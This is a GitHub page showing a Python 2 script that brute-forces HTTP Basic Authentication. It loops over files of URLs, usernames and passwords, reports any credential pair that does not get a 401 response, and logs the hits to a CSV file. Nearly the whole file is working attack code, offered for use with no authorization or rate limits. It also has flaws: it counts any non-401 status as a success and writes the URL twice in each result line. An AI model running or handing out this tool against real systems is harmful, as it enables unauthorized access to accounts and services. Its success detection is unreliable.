-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhttp-basic-auth-brute.py
executable file
·95 lines (77 loc) · 2.95 KB
/
http-basic-auth-brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pylint: disable=C0103
# pylint: disable=C0413
# pylint: disable=W0702
'''
Script that tries list of passwords against HTTP Basic Authorization.
Dependencies:
* python2
# Debian/Ubuntu: apt-get install python
# Fedora: dnf install python
* requests
# Debian/Ubuntu: apt-get install python-requests
# Fedora: dnf install python2-requests
'''
import calendar
import os
import sys
import time
import requests
from requests.auth import HTTPBasicAuth
if len(sys.argv) != 4:
print 'Usage: ' + sys.argv[0] + ' [urls-file] [usernames-file] [passwords-file]'
print " * urls-file - File that contains list of urls."
print " * userbames-file - File that contains list of usernames."
print " * passwords-file - File that contains list of passwords.\n"
sys.exit(1)
URLS_FILE = sys.argv[1]
USERNAMES_FILE = sys.argv[2]
PASSWORDS_FILE = sys.argv[3]
for filename in [URLS_FILE, USERNAMES_FILE, PASSWORDS_FILE]:
if not os.path.isfile(filename):
print 'Error: file ' + '"' + filename + '"' + " doesn't exist.\n"
sys.exit(1)
URLS = list()
RESULT_FILE = 'http-basic-auth-brute-' + str(calendar.timegm(time.gmtime())) + '.csv'
RESULT_FILE = os.path.dirname(os.path.realpath(__file__)) + '/' + RESULT_FILE
with open(URLS_FILE, 'r') as urls_file:
for url in urls_file:
url = url.strip()
if url not in URLS:
URLS.append(url)
if bool(URLS):
for url in URLS:
print '> Testing URL: ' + url
with open(USERNAMES_FILE, 'r') as usernames:
for username in usernames.readlines():
username = username.strip()
found = None
with open(PASSWORDS_FILE, 'r') as passwords:
for password in passwords.readlines():
password = password.strip()
try:
response = requests.get(
url,
auth=HTTPBasicAuth(username, password),
timeout=3
)
sys.stdout.write('.')
sys.stdout.flush()
if response.status_code != 401:
print
print '> Success: ' + username + ':' + password
found = url + ',' + username +',' + password
except KeyboardInterrupt:
print
sys.exit(0)
except:
pass
if bool(found):
with open(RESULT_FILE, 'a+') as result_file:
result_file.write(url + ',' + found + "\n")
break
if bool(found):
break
print
print '> Finished.'